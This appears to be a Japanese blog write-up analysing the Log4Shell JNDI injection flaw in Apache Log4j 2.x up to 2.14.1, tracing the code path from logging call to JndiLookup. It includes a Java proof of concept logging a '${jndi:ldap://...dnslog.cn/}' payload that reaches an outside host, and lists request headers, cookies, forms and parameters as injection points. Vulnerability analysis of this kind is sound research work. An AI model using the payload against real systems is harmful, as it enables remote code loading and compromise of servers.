
Jdk7u21(任意バージョンで可)
影響バージョン:Apache Log4j 2.x <= 2.14.1
既知の影響を受けるアプリケーションとコンポーネント:
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
log4j座標
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.1</version>
</dependency>
Poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
ペイロードを見ると、疑いなくlog4j lookupまたはlog4j jndiを検索するでしょう。
https://logging.apache.org/log4j/2.x/manual/lookups.html【英語ドキュメント】
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html【中国語ドキュメント】

使用方法がわかります。ここでjndiがサポートされており、jndiは他のプロトコルもサポートしているため、変換が行われます。ldapを思い浮かべるのは難しくありません。デバッグして確認してみましょう。昨夜デバッグして5時半までやっていて、朝に授業があったので寝てしまい、分析過程のスクリーンショットだけ保存しています。

余談はさておき、先に進みます。昨夜何度かデバッグしたので、ここでは直接重要な箇所に進みます。

直接ポイントに:org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

このメソッドを追跡して確認します。Javaネイティブにおいてこのメソッドは文字列をフォーマットするものですが、ここでも同じかどうかは不明です。
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

ここでgetMessage()によりペイロードが取得されました。なぜでしょうか?


ここではこれ以上詳しく説明しません。先に進みましょう。
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
ここでは、${ で始まるかどうかをチェックし、もしそうなら実行して脆弱性のトリガーポイントになります。



このメソッドのドキュメントはこちらで見られます:https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html





どうやらドキュメントを見ればほぼ十分なようです。ここでは変数リゾルバを取得しています。



続いてorg.apache.logging.log4j.core.lookup.Interpolator#lookupに入ります。

対応するプレフィックスを取得し、対応するjndiクラスオブジェクト-JndiLookupを選択します。


これによりjndiインジェクションが行われ、リモートクラスローディングが実現されます。

1、jndiをサーバーに配置し、ターゲットにサーバーのclassファイルをリクエストさせます。 2、注意点:log4j脆弱性のトリガーポイントは、ログが記録される場所です。例えば、ログに記録される可能性がある場所(HTTPリクエストヘッダー、Cookie、ログインフォーム、GETパラメータ、POSTパラメータなど)が対象となります。

公式ドキュメントを確認すると、実際にはフォーマットによって${jndi:ldap://uci5xf.dnslog.cn/test}を実際のデータに置き換えているだけです。

参考記事:https://blog.csdn.net/lqzkcx3/article/details/82050375 log4jはlookupを使ってプロトコルを取得し、そのプロトコルがjndi、data、sysなどであることを確認します。内部ではmap形式で保存されており、対応するkeyを検出して対応するlookupを取得し実行します。これにより標準的なjndiインジェクション脆弱性が形成されます。
エントリポイントから見ると、ログに記録される場所であればどこでも(一部例外はありますが)実行可能であることがわかります。急ぎで書いたため、深くは追及しません。
攻撃方法としては、インタラクションがある箇所をすべて攻撃することです。ガガガ